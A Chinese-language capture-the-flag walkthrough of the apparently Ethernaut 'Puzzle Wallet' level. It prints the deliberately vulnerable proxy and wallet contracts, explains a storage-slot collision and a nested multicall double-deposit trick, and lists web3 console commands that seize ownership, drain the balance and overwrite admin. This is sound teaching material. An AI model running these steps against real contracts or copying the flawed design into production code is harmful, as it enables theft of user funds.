Puzzle Wallet
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
using SafeMath for uint256;
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] = balances[msg.sender].add(msg.value);
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
题目要求
这道题目要求获取PuzzleProxy
合约的admin
权限
题目分析
这个题目主要参考了网上大神的解法,实在叹服!: 24 Puzzle Wallet
PuzzleProxy
是代理合约,PuzzleWallet
是具体实现合约。PuzzleWallet
是通过Proxy
合约部署。PuzzleWallet
里面的方法是Proxy
合约通过delegatecall
来调用。
部署完返回的合约实例是PuzzleProxy
合约的地址。升级实现合约以后,代理合约地址保持不变。
由于PuzzleWallet
的方法调用是PuzzleProxy
合约通过delegatecall
来调用实现。所以PuzzleWallet
合约的状态变量布局与PuzzleProxy
保持一致.所以pendingAdmin
和owner
是同一个slot
存储变量。
我们通过修改PuzzleProxy
合约的pendingAdmin
即是在修改PuzzleWallet
合约的owner
由于题目中实例合约部署后,控制台使用了PuzzleWallet
的 ABI,所以我们想要调用PuzzleProxy
的方法,需要重新实例化PuzzleProxy
合约的 ABI,合约地址即控制台提供的instance
地址
想要修改Proxy
中的admin
,就需要调用setMaxBalance
来覆盖admin
对应的slot
想要调用setMaxBalance
,就需要将PuzzleWallet
的余额清空,设置为 0
因为execute
方法只能取走我们账号deposit
到合约的资金,无法取走初始化时合约里本来有的 ETH,
我们需要通过调用multicall
方法来重入攻击deposit
方法,实现只转 1 笔钱,却能记录两次入账操作。由于multicall
方法中有depositCalled
只允许调用一次的限制。所以不能简单的递归调用multicall
来实现。但是我们可以通过入参data
传入[deposit(),multicall([deposit()])]
的方式绕开depositCalled
检查限制
攻击步骤
- 通过
remix
等其他攻击编译出PuzzleProxy
合约的 ABI - 实例化
PuzzleProxy
合约,修改pendingAdmin
const proxy = new web3.eth.Contract(ABI,instance)
// 调用proposeNewAdmin方法修改pendingAdmin
await proxy.methods.proposeNewAdmin(player).send({from: player})
// 检查PuzzleWallet合约的owner是否已经替换为player了
await contract.owner()
- 将
player
添加到白名单
上一步将player
设置成了owner
,现在就可以将player
添加到whitelisted
await contract.addToWhitelist(player)
- 将
PuzzleWallet
合约的余额全部转走,设置为 0 获取deposit()
和multicall([deposit()])
的签名信息
let depositData = await contract.methods["deposit()"].request().then(v => v.data)
let multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)
await contract.multicall([depositData,multicallData],{value: toWei('0.001')})
// 取走合约中的余额
await contract.execute(player,'2000000000000000','0x')
// 检查合约中的余额
await web3.eth.getBalance(instance)
- 调用
setMaxBalance
,相当于设置Proxy
合约的admin
await contract.setMaxBalance(player)